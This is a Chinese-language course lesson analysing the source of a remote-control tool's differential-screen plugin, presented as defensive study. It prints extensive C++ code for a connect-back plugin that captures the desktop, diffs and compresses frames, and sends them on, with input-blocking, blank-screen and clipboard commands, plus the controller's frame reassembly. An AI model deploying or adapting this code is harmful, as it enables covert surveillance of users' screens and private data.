32 / 52 主插件与远程能力

第 32 课:主插件:差异屏幕

# 第 32 课:主插件:差异屏幕

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只用于安全工程学习和源码防御分析。差异屏幕能力可以减少屏幕传输带宽,但也可能用于持续观察用户桌面、业务系统、聊天窗口和敏感输入过程。本课不讲如何使用远程屏幕,不讲控制步骤,不讲规避检测,只讲差异帧原理、源码结构、风险模型和企业检测点。

# 1. 本课学习目标

读完本课,你应该能理解:

  1. 差异屏幕和高速屏幕的相同点与不同点。
  2. 为什么首帧通常需要全量传输,后续帧可以只传变化数据。
  3. CScreenDifManager 如何组织位图信息、尺寸、首帧和后续差异帧。
  4. CScreenSpy 如何使用双缓冲保存上一帧和当前帧。
  5. Compare 生成的 offset + length + bytes 为什么适合差异传输。
  6. 主控端如何把差异块写回完整 DIB,从而组装成连续屏幕画面。
  7. 为什么低带宽并不等于低风险,持续连接和周期性图形采集仍然需要检测。

# 2. 源码目录和文件

路径 作用
主插件\差异屏幕\差异屏幕.sln 差异屏幕插件解决方案
主插件\差异屏幕\差异屏幕\差异屏幕.cpp 插件入口、socket 初始化、管理器创建
主插件\差异屏幕\差异屏幕\ScreenDifManager.h 命令码、回传令牌、管理器定义
主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp 首帧/差异帧发送、命令处理、工作线程、控制线程
主插件\差异屏幕\差异屏幕\ScreenSpy.h 差异屏幕采集类定义
主插件\差异屏幕\差异屏幕\ScreenSpy.cpp 双缓冲、屏幕扫描、差异比较、位图构造
主插件\差异屏幕\差异屏幕\CursorInfo.h 光标状态辅助

依赖说明: 差异屏幕主要依赖 Windows GDI、项目网络层和压缩处理。它不像高速屏幕那样强调完整 JPEG 帧,而是用双缓冲比较变化区域,再把差异块封装发送。检测时要把 BitBlt/GetDIBits、双缓冲差异、zlib 压缩、周期线程和网络小包关联起来;相关变量含义会在代码注释中说明。

在整体工程里,差异屏幕和高速屏幕都属于屏幕类插件。两者都涉及屏幕采集、帧发送、远程控制命令和隐私风险。差异屏幕更强调“只传变化”,所以网络流量可能更小,但检测不能因此放松。

2. 源码目录和文件(配图)

# 3. 差异屏幕的基本概念

如果每一帧都传完整桌面,带宽会很高。差异屏幕的思想是:

  1. 第一次发送完整画面,让接收端建立基础画面。
  2. 后续每次采集当前画面。
  3. 和上一帧比较。
  4. 找出变化的位置和变化的数据。
  5. 只把变化块发送过去。

可以把它理解为“同步文档差异”:

概念 屏幕传输里的对应物
原始文档 上一帧屏幕
新文档 当前帧屏幕
差异位置 像素缓冲里的偏移
差异长度 连续变化字节数
差异内容 新像素数据

3. 差异屏幕的基本概念(配图)

# 4. 插件入口:仍然是连接后创建管理器

差异屏幕入口和高速屏幕入口类似:创建 socket,连接成功后创建 CScreenDifManager

// 源码位置:主插件\差异屏幕\差异屏幕\差异屏幕.cpp:8-46
// 防御分析注释:连接成功后进入差异屏幕管理器。
// 低带宽并不代表低风险,仍要和屏幕采集 API、压缩和持续连接关联。
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("127.0.0.1"),
    6666,
    1,
    0
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;

    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CScreenDifManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

从防御建模看,入口给出的关键线索仍然是:

网络连接 -> 屏幕管理器 -> 工作线程 -> 图形采集 -> 压缩发送

# 5. 命令和回传令牌

差异屏幕的头文件定义了回传令牌和命令码。它没有高速屏幕里的算法/质量命令,但仍然包括屏幕重置、FPS、输入屏蔽、黑屏、分层窗口、剪贴板和控制事件。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.h:25-40
// 防御分析注释:这些枚举是差异屏幕插件的协议面。
// 本课只做风险识别,不提供任何触发方式。
enum
{
    TOKEN_FIRSTSCREEN_DIF,          // 首帧全量画面
    TOKEN_NEXTSCREEN_DIF,           // 后续差异帧
    TOKEN_CLIPBOARD_TEXT_DIF,       // 剪贴板文本
    TOKEN_SIZE_DIF,                 // 屏幕尺寸

    COMMAND_NEXT_DIF,
    COMMAND_SCREEN_RESET_DIF,
    COMMAND_SCREEN_FPS_DIF,
    COMMAND_SCREEN_BLOCK_INPUT_DIF,
    COMMAND_SCREEN_BLANK_DIF,
    COMMAND_SCREEN_CAPTURE_LAYER_DIF,
    COMMAND_SCREEN_GET_CLIPBOARD_DIF,
    COMMAND_SCREEN_CONTROL_DIF,
    COMMAND_SCREEN_SET_CLIPBOARD_DIF
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

防御侧要注意两类令牌:

令牌 含义 检测价值
TOKEN_FIRSTSCREEN_DIF 初始化远端画面的全量数据 会话开始阶段出现
TOKEN_NEXTSCREEN_DIF 后续差异数据 会话持续阶段周期出现
TOKEN_CLIPBOARD_TEXT_DIF 剪贴板文本 隐私数据面
TOKEN_SIZE_DIF 屏幕坐标和尺寸 屏幕流元数据

# 6. 管理器构造函数:默认 8 位、1 FPS、创建双线程

CScreenDifManager 默认使用 8 位位深,FPS 为 1,并创建 CScreenSpy

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:12-32
// 防御分析注释:构造时创建 CScreenSpy,并启动工作线程与控制线程。
// 工作线程负责屏幕流,控制线程负责黑屏、输入屏蔽和分辨率变化。
CScreenDifManager::CScreenDifManager(ISocketBase* pClient) : CManager(pClient)
{
    m_buser = FALSE;
    m_biBitCount = 8;
    m_fps = 1;
    m_pScreenSpy = new CScreenSpy(m_biBitCount, false, m_fps);

    m_bIsWorking = true;
    m_bIsBlankScreen = false;
    m_bIsBlockInput = false;
    m_bIsCaptureLayer = false;

    m_hDeskTopDC = GetDC(GetDesktopWindow());
    m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
    m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);

    m_hWorkThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, this, 0, NULL);
    m_hBlankThread = (HANDLE)_beginthreadex(NULL, 0, ControlThread, this, 0, NULL);
    m_buser = TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

这段代码可以和第 31 课高速屏幕对照看:

对比项 高速屏幕 差异屏幕
管理器 CScreenQuickManager CScreenDifManager
默认位深 33 8
默认 FPS 1 1
采集类 CScreenSpy CScreenSpy
数据重点 JPEG/变化区域 双缓冲差异块
检测重点 高速压缩图像流 低带宽周期差异流

# 7. 发送时序:全量首帧加差异后续帧

差异屏幕的时序和高速屏幕相似,但语义不同:首帧用于建立基线,后续帧只携带变化块。

7. 发送时序:全量首帧加差异后续帧(配图)

源码里的工作线程:

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:209-224
// 防御分析注释:先发送位图信息、屏幕尺寸、首帧,再循环发送差异帧。
// 这是识别差异屏幕会话的核心时序。
unsigned CScreenDifManager::WorkThread(LPVOID lparam)
{
    CScreenDifManager* pThis = (CScreenDifManager*)lparam;

    pThis->sendBITMAPINFO();

    if (pThis->m_bIsWorking)
        pThis->WaitForDialogOpen();

    pThis->sendsize();
    pThis->sendFirstScreen();
    pThis->m_bIsWorking = true;

    while (pThis->m_bIsWorking)
    {
        pThis->sendNextScreen();
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

对新手来说,最重要的是别把 sendNextScreen 理解成“又发了一整张图”。在差异屏幕里,后续数据通常是“变化块”。

# 8. 首帧发送:建立远端画面的基础状态

首帧从 CScreenSpy::getFirstScreen 取得完整位图,然后压缩发送。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:152-179
// 防御分析注释:首帧是全量数据,用于接收端建立初始画面。
// 检测时可关注会话开始阶段较大的压缩数据包。
void CScreenDifManager::sendFirstScreen()
{
    LPVOID lpFirstScreen = m_pScreenSpy->getFirstScreen();
    if (lpFirstScreen == NULL)
        return;

    int dwBytes = m_pScreenSpy->getFirstImageSize();
    unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
    LPBYTE pDest = new BYTE[destLen];

    if (compress(pDest, &destLen, (byte*)lpFirstScreen, dwBytes) != Z_OK)
    {
        SAFE_DELETE_AR(pDest);
        return;
    }

    DWORD dwBytesLength = 1 + destLen + 4;
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_FIRSTSCREEN_DIF;
    memcpy(lpBuffer + 1, &dwBytes, 4);
    memcpy(lpBuffer + 5, pDest, destLen);
    Send(lpBuffer, dwBytesLength);

    SAFE_DELETE_AR(lpBuffer);
    SAFE_DELETE_AR(pDest);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

安全风险在于:首帧可能已经包含完整桌面隐私信息。即使后续只传差异,也不代表首帧无害。

# 9. 后续帧发送:只传差异数据但仍持续泄露

sendNextScreengetNextScreen 获取差异缓冲,再压缩发送。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:181-207
// 防御分析注释:后续帧不是全量图,而是由 ScreenSpy 计算出的差异数据。
// 低带宽、短包、周期发送也可能代表持续屏幕观察。
void CScreenDifManager::sendNextScreen()
{
    DWORD dwBytes;
    LPVOID lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
    if (dwBytes == 0 || !lpNetScreen)
        return;

    unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
    LPBYTE pDest = new BYTE[destLen];

    if (compress(pDest, &destLen, (byte*)lpNetScreen, dwBytes) != Z_OK)
    {
        SAFE_DELETE_AR(pDest);
        return;
    }

    DWORD dwBytesLength = 1 + destLen + 4;
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_NEXTSCREEN_DIF;
    memcpy(lpBuffer + 1, &dwBytes, 4);
    memcpy(lpBuffer + 5, (const char*)pDest, destLen);
    Send(lpBuffer, dwBytesLength);

    SAFE_DELETE_AR(lpBuffer);
    SAFE_DELETE_AR(pDest);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

差异帧的安全含义:

特征 防御理解
包可能比全量帧小 不能只用大流量识别
发送具有周期性 要看连接持续时间和帧间隔
屏幕变化越多包越大 和用户操作、窗口变化相关
仍然包含屏幕内容 即使只传差异,也可能泄露敏感信息

# 10. ScreenSpy:双缓冲结构

差异屏幕版 ScreenSpy 持有当前帧缓冲和差异比较缓冲。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.h:19-48
// 防御分析注释:m_lpvFullBits 保存上一状态,m_lpvDiffBits 保存当前采集。
// Compare 会比较两块内存并输出 offset + length + bytes。
class CScreenSpy
{
public:
    UINT m_nMaxFrameRate;
    DWORD m_dwBitBltRop;
    LPBYTE m_rectBuffer;
    UINT m_rectBufferOffset;

    int m_nFullWidth, m_nFullHeight;
    HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
    HBITMAP m_hLineBitmap, m_hFullBitmap;
    LPVOID m_lpvLineBits, m_lpvFullBits;

    // 差异比较的下一张。
    LPVOID m_lpvDiffBits;
    HDC m_hDiffDC, m_hDiffMemDC;
    HBITMAP m_hDiffBitmap;

    int Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize);
    bool ScanChangedRect(int nStartLine);
    void CopyRect(LPRECT lpRect);
    void SetFps(int nfps);
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

可以这样理解两个缓冲:

缓冲 作用
m_lpvFullBits 保存接收端应当已经拥有的上一帧状态
m_lpvDiffBits 保存刚采集到的当前帧
m_rectBuffer 保存光标信息和差异块输出

# 11. 构造函数:准备 DC、DIB 和差异缓冲

构造函数会创建多个内存 DC 和 DIBSection,并分配差异缓冲。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:19-91
// 防御分析注释:这里同时创建全量位图和差异位图,是差异传输的基础。
// 图形资源创建后如果叠加外联连接,就需要重点关注。
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
    m_biBitCount = biBitCount;

    if (!SelectInputWinStation())
    {
        m_hDeskTopWnd = GetDesktopWindow();
        m_hFullDC = GetDC(m_hDeskTopWnd);
    }

    m_dwBitBltRop = SRCCOPY;
    m_dwLastCapture = GetTickCount();
    m_nMaxFrameRate = nMaxFrameRate;
    m_dwSleep = 1000 / nMaxFrameRate;

    HDC hdc = GetDC(NULL);
    int client_width_now = GetDeviceCaps(hdc, HORZRES);
    int client_width_old = GetDeviceCaps(hdc, DESKTOPHORZRES);
    fDpiRatio = (float)client_width_old / (float)client_width_now;
    ReleaseDC(NULL, hdc);

    m_nFullWidth = (int)((float)(::GetSystemMetrics(SM_CXVIRTUALSCREEN)) * fDpiRatio);
    m_nFullHeight = (int)((float)(::GetSystemMetrics(SM_CYVIRTUALSCREEN)) * fDpiRatio);

    m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
    m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
    m_hLineMemDC = ::CreateCompatibleDC(NULL);
    m_hRectMemDC = ::CreateCompatibleDC(NULL);

    m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);

    m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
    m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);

    ::SelectObject(m_hFullMemDC, m_hFullBitmap);
    ::SelectObject(m_hDiffMemDC, m_hDiffBitmap);

    m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
    m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
    m_rectBufferOffset = 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

这里有一个非常适合新手理解的点:差异算法不是凭空知道哪里变了,它必须保存“上一帧状态”,再和“当前帧状态”比较。

# 12. 首帧采集:把完整屏幕放入基线缓冲

首帧只做一次完整采集,并返回完整位图数据。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:247-251
// 防御分析注释:首帧通过 BitBlt 把整个桌面复制到 m_lpvFullBits。
// 这一步建立后续差异比较的基线。
LPVOID CScreenSpy::getFirstScreen()
{
    ::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight,
        m_hFullDC, iScreenX, iScreenY, m_dwBitBltRop);
    return m_lpvFullBits;
}
1
2
3
4
5
6
7
8
9

这也解释了为什么首帧更大:它不是差异,而是完整画面。

# 13. 后续帧采集:采当前帧、写光标、比较差异

getNextScreen 的流程很清楚:

  1. 切到输入桌面。
  2. 清空输出缓冲偏移。
  3. 写入光标位置。
  4. 写入当前光标类型。
  5. 采集当前屏幕到 m_lpvDiffBits
  6. 调用 Compare 和上一帧比较。
  7. 限制帧率。

这一帧输出的未压缩缓冲区不是一张完整图片,而是一个“小型更新包”:

[POINT 光标位置 8 字节]
[BYTE 光标类型 1 字节]
[差异块 1: DWORD 偏移 + DWORD 长度 + bytes 新像素]
[差异块 2: DWORD 偏移 + DWORD 长度 + bytes 新像素]
...
1
2
3
4
5

这里的偏移不是屏幕坐标,而是 DIB 像素内存里的字节偏移。接收端必须先有首帧完整 DIB,后续才能根据这些偏移把变化字节写回去。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:112-147
// 防御分析注释:该函数把当前屏幕采集到差异缓冲,再输出变化数据。
// 防御侧重点关注周期性 BitBlt、光标信息、Compare 和网络发送的关联。
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
    if (lpdwBytes == NULL || m_rectBuffer == NULL)
        return NULL;

    // 防御分析注释:切到当前输入桌面后再采集。
    // 这说明差异屏幕关注的是当前用户可见桌面,不是后台桌面对象。
    SelectInputWinStation();

    // 防御分析注释:每一帧都从 m_rectBuffer 开头重新组织数据。
    // 该缓冲区会先写光标信息,再写一个或多个差异块。
    m_rectBufferOffset = 0;

    POINT CursorPos;
    GetCursorPos(&CursorPos);

    // 防御分析注释:DPI 缩放和虚拟屏幕偏移会影响光标坐标。
    // 如果检测或取证时看到坐标异常,要同时考虑多显示器和 DPI。
    CursorPos.x = (long)(fDpiRatio * (float)CursorPos.x);
    CursorPos.y = (long)(fDpiRatio * (float)CursorPos.y);
    CursorPos.x -= iScreenX;
    CursorPos.y -= iScreenY;

    // 防御分析注释:缓冲区前 8 字节是 POINT。
    // 接收端会先取出它,用来决定是否重绘远程光标。
    WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));

    // 防御分析注释:第 9 字节是光标类型索引。
    // 画面没有变化时,也可能因为光标移动或类型变化触发重绘。
    BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
    WriteRectBuffer(&bCursorIndex, sizeof(BYTE));

    // 防御分析注释:把当前桌面画面采集到 m_lpvDiffBits 对应的 DIBSection。
    // 这一帧只是“当前状态”,还没有变成差异数据。
    ScanScreen(m_hDiffMemDC, m_hFullDC,
        m_lpbmi_full->bmiHeader.biWidth,
        m_lpbmi_full->bmiHeader.biHeight);

    // 防御分析注释:Compare 比较当前帧 m_lpvDiffBits 和上一帧 m_lpvFullBits。
    // 输出会追加到光标信息之后,格式为 offset + length + bytes。
    // 同时 Compare 会把 m_lpvFullBits 更新为当前帧,为下一轮差异比较建立新基线。
    *lpdwBytes = m_rectBufferOffset +
        Compare((LPBYTE)m_lpvDiffBits,
            (LPBYTE)m_lpvFullBits,
            m_rectBuffer + m_rectBufferOffset,
            m_lpbmi_full->bmiHeader.biSizeImage);

    // 防御分析注释:帧率限制会让流量呈现周期性。
    // 即使每个包很小,只要持续出现图形采集和小包上行,也应纳入关联检测。
    while (GetTickCount() - m_dwLastCapture < m_dwSleep)
        Sleep(10);

    InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
    return m_rectBuffer;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

这里最重要的是 Compare 的参数顺序:当前帧、上一帧、输出缓冲、总大小。比较时,如果发现某个 DWORD 不一样,就把变化写入输出缓冲,同时更新上一帧缓冲。这样下一轮比较才能继续只产生增量。

# 14. Compare:offset + length + bytes

Compare 是差异屏幕的核心。它按 DWORD 扫描屏幕位图内存,发现连续变化块后,写入三类信息:

  1. 偏移位置。
  2. 变化数据长度。
  3. 新数据内容。

它同时做了两件事:

动作 目的
把变化块写入 lpBuffer 生成要发送给主控端的差异数据
lpDest 中的旧值改成当前值 更新本地“上一帧基线”,让下一次比较只产生新的变化

如果没有第二步,下一帧会继续把同一块变化重复发出去;如果没有第一步,主控端就无法还原画面。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenSpy.cpp:353-399
// 防御分析注释:该函数输出 offset + length + bytes。
// 这是差异传输的核心结构,但本课只用于解释检测和数据形态。
int CScreenSpy::Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize)
{
    // 防御分析注释:lpDest 指向上一帧基线,也就是接收端理论上已经拥有的完整画面。
    // lpSource 指向刚采集的当前帧。
    // 两者都按 DWORD 比较,因为 DIB 扫描行按 4 字节对齐。
    LPDWORD p1 = (LPDWORD)lpDest;
    LPDWORD p2 = (LPDWORD)lpSource;

    int nOffsetOffset = 0;
    int nBytesOffset = 0;
    int nDataOffset = 0;
    int nCount = 0;

    for (int i = 0; i < (int)dwSize; i += 4, p1++, p2++)
    {
        // 防御分析注释:相同的 4 字节不需要发送。
        // 这就是差异屏幕流量小于全量屏幕的根本原因。
        if (*p1 == *p2)
            continue;

        // 防御分析注释:发现变化后,先写该变化块在完整 DIB 内存中的字节偏移。
        // 主控端稍后会用 m_lpScreenDIB + offset 定位写回位置。
        *(LPDWORD)(lpBuffer + nOffsetOffset) = i;

        // 防御分析注释:偏移后面紧跟变化长度,再后面才是变化后的像素字节。
        // 这里先预留长度位置,等连续变化块统计完再回填。
        nBytesOffset = nOffsetOffset + sizeof(int);
        nDataOffset = nBytesOffset + sizeof(int);
        nCount = 0;

        // 防御分析注释:把当前 4 字节写入差异包。
        // 同时更新 p1,也就是把本地上一帧基线推进到当前帧。
        *p1 = *p2;
        *(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
        nCount += 4;

        i += 4, p1++, p2++;

        // 防御分析注释:如果后续 DWORD 也连续变化,就合并成同一个变化块。
        // 这样比每个像素都写一个 offset 更省空间。
        for (int j = i; j < (int)dwSize; j += 4, i += 4, p1++, p2++)
        {
            if (*p1 == *p2)
                break;

            // 防御分析注释:继续写变化后的字节,并同步推进基线。
            *p1 = *p2;
            *(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
            nCount += 4;
        }

        // 防御分析注释:回填该变化块长度。
        // 一个完整变化块最终是:DWORD offset + DWORD nCount + nCount 字节数据。
        *(LPDWORD)(lpBuffer + nBytesOffset) = nCount;

        // 防御分析注释:移动输出指针,准备写下一个变化块。
        nOffsetOffset = nDataOffset + nCount;
    }

    // 防御分析注释:返回值是所有差异块占用的字节数。
    // getNextScreen 会把它加到光标头长度后作为未压缩长度发送。
    return nOffsetOffset;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

这段代码解决的是“如何减少传输量”。但从安全角度看,减少传输量会带来一个检测挑战:如果企业只按大流量告警,差异屏幕可能不明显。因此要把周期性屏幕采集、差异数据结构和长连接关联起来。

# 15. 主控端还原:把差异块写回完整 DIB

差异数据本身不能直接显示成屏幕。主控端必须先收到首帧,建立一块完整的 m_lpScreenDIB;后续每个差异包只是在这块完整 DIB 上“打补丁”。

还原链路可以这样理解:

TOKEN_FIRSTSCREEN_DIF
  -> zlib 解压
  -> 写入 m_lpScreenDIB,形成完整首帧

TOKEN_NEXTSCREEN_DIF
  -> zlib 解压到 pDeCompressionData
  -> 读取 POINT 光标位置和 BYTE 光标类型
  -> 从第 9 字节开始循环读取差异块
  -> 每个差异块按 offset 写回 m_lpScreenDIB
  -> DoPaint 把完整 DIB 画到主控窗口
1
2
3
4
5
6
7
8
9
10

这解释了“差异数据如何组装成完整屏幕”:完整屏幕一直保存在主控端内存里,差异帧只负责更新其中变化的字节。

主控端在对话框初始化时会创建一块 DIBSection,m_lpScreenDIB 就是这块位图的像素指针:

// 源码位置:主控\Quick\DifScreenSpyDlg.cpp:306-318
// 防御分析注释:CreateDIBSection 创建可直接写像素的内存位图。
// 后续首帧会完整填充 m_lpScreenDIB,差异帧会按 offset 修改它的一部分。
m_hDC = ::GetDC(m_hWnd);
m_hMemDC = CreateCompatibleDC(m_hDC);

// 防御分析注释:m_lpbmi 来自被控端发来的 BITMAPINFO。
// 它决定宽、高、位深和 m_lpScreenDIB 的内存布局。
m_hFullBitmap = CreateDIBSection(
    m_hDC,
    m_lpbmi,
    DIB_RGB_COLORS,
    &m_lpScreenDIB,
    NULL,
    NULL);

// 防御分析注释:后续 DoPaint 会从 m_hMemDC/m_lpScreenDIB 绘制主控端画面。
SelectObject(m_hMemDC, m_hFullBitmap);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主控\Quick\DifScreenSpyDlg.cpp:132-171
// 防御分析注释:主控端按 token 区分首帧和差异帧。
// 首帧用于建立完整 DIB,差异帧用于更新已有 DIB。
void CDifScreenSpyDlg::OnReceiveComplete()
{
    if (m_bOnClose)
        return;

    m_nCount++;
    switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
    {
    case TOKEN_FIRSTSCREEN_DIF:
    {
        m_bIsFirst = false;

        // 防御分析注释:包头第 1-4 字节记录解压后的原始长度。
        // 对首帧来说,这个长度应接近完整 DIB 像素缓冲大小。
        DWORD nUnCompressLength = 0;
        memcpy(&nUnCompressLength, m_pContext->m_DeCompressionBuffer.GetBuffer(1), 4);
        nUnCompressLength_old = nUnCompressLength;

        // 防御分析注释:首帧解压后直接写入 m_lpScreenDIB。
        // m_lpScreenDIB 是主控端维护的“完整屏幕状态”。
        DWORD destLen = nUnCompressLength;
        if (uncompress((byte*)m_lpScreenDIB,
            &destLen,
            m_pContext->m_DeCompressionBuffer.GetBuffer() + 5,
            m_pContext->m_DeCompressionBuffer.GetBufferLen() - 5) != Z_OK)
        {
            return;
        }
    }
    break;

    case TOKEN_NEXTSCREEN_DIF:
    {
        // 防御分析注释:后续帧解压到临时缓冲 pDeCompressionData。
        // 它不是完整图片,而是“光标头 + 多个差异块”。
        DWORD nUnCompressLength = 0;
        memcpy(&nUnCompressLength, m_pContext->m_DeCompressionBuffer.GetBuffer(1), 4);
        if (nUnCompressLength > nUnCompressLength_old)
            return;

        DWORD destLen = nUnCompressLength;
        if (uncompress(pDeCompressionData,
            &destLen,
            m_pContext->m_DeCompressionBuffer.GetBuffer() + 5,
            m_pContext->m_DeCompressionBuffer.GetBufferLen() - 5) == Z_OK)
        {
            DrawNextScreenDiff(pDeCompressionData, destLen);
        }
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

真正把差异块写回完整屏幕的是 DrawNextScreenDiff

// 源码位置:主控\Quick\DifScreenSpyDlg.cpp:360-430
// 防御分析注释:该函数把差异包应用到 m_lpScreenDIB。
// 防御分析时要把这里和插件端 Compare 的 offset + length + bytes 结构对照看。
void CDifScreenSpyDlg::DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen)
{
    bool bIsReDraw = false;

    // 防御分析注释:差异包前 9 字节不是像素数据。
    // 前 8 字节是 POINT 光标位置,第 9 字节是光标类型索引。
    int nHeadLength = sizeof(POINT) + sizeof(BYTE);

    // 防御分析注释:m_lpScreenDIB 是当前完整屏幕状态。
    // 后续所有差异块都会写回这块内存。
    LPVOID lpFirstScreen = m_lpScreenDIB;

    // 防御分析注释:lpNextScreen 指向第一个差异块。
    // 格式必须和插件端 Compare 输出完全一致。
    LPVOID lpNextScreen = pDeCompressionData + nHeadLength;
    DWORD dwBytes = destLen - nHeadLength;

    POINT oldPoint;
    memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
    memcpy(&m_RemoteCursorPos, pDeCompressionData, sizeof(POINT));
    if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
        bIsReDraw = true;

    LPBYTE lpNextCursorIndex = (LPBYTE)(pDeCompressionData + 8);
    if (*lpNextCursorIndex != m_bCursorIndex)
    {
        m_bCursorIndex = *lpNextCursorIndex;
        bIsReDraw = true;
    }

    // 防御分析注释:只要存在像素差异块,就需要刷新主控端画面。
    if (dwBytes > 0)
        bIsReDraw = true;

    BYTE* pNext = (BYTE*)lpNextScreen;
    BYTE* pFirst = (BYTE*)lpFirstScreen;
    DWORD remainingBytes = dwBytes;

    while (remainingBytes > 0)
    {
        // 防御分析注释:读取插件端 Compare 写入的 offset。
        // offset 是完整 DIB 内存的字节偏移,不是屏幕坐标。
        DWORD offset = *reinterpret_cast<DWORD*>(pNext);
        pNext += 4;

        // 防御分析注释:读取该变化块的数据长度。
        DWORD blockSize = *reinterpret_cast<DWORD*>(pNext);
        pNext += 4;

        remainingBytes -= 8;
        remainingBytes -= blockSize;

        // 防御分析注释:把变化后的像素字节写回完整 DIB。
        // 这一步完成“差异帧 -> 完整屏幕状态”的还原。
        BYTE* pDest = pFirst + offset;
        memcpy(pDest, pNext, blockSize);

        pNext += blockSize;
    }

    if (bIsReDraw)
        DoPaint();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

新手可以把这个过程类比成“补丁更新”:首帧是一份完整文件,后续差异帧是一组补丁。每个补丁告诉主控端从完整文件的哪个偏移开始,覆盖多少字节,覆盖成什么内容。

# 16. 全量帧和差异帧的流量差异

全量帧像是每次都发完整照片;差异帧像是先发一张完整照片,之后只发“哪里变了”。这会降低带宽,但不会降低隐私风险。

16. 全量帧和差异帧的流量差异(配图)

对比项 全量帧 差异帧
初始数据
后续数据 通常仍较大 随变化区域大小波动
空闲桌面 仍可能持续发送较大帧 可能只有小包或很少数据
用户频繁操作 帧数据持续增大 差异块增加
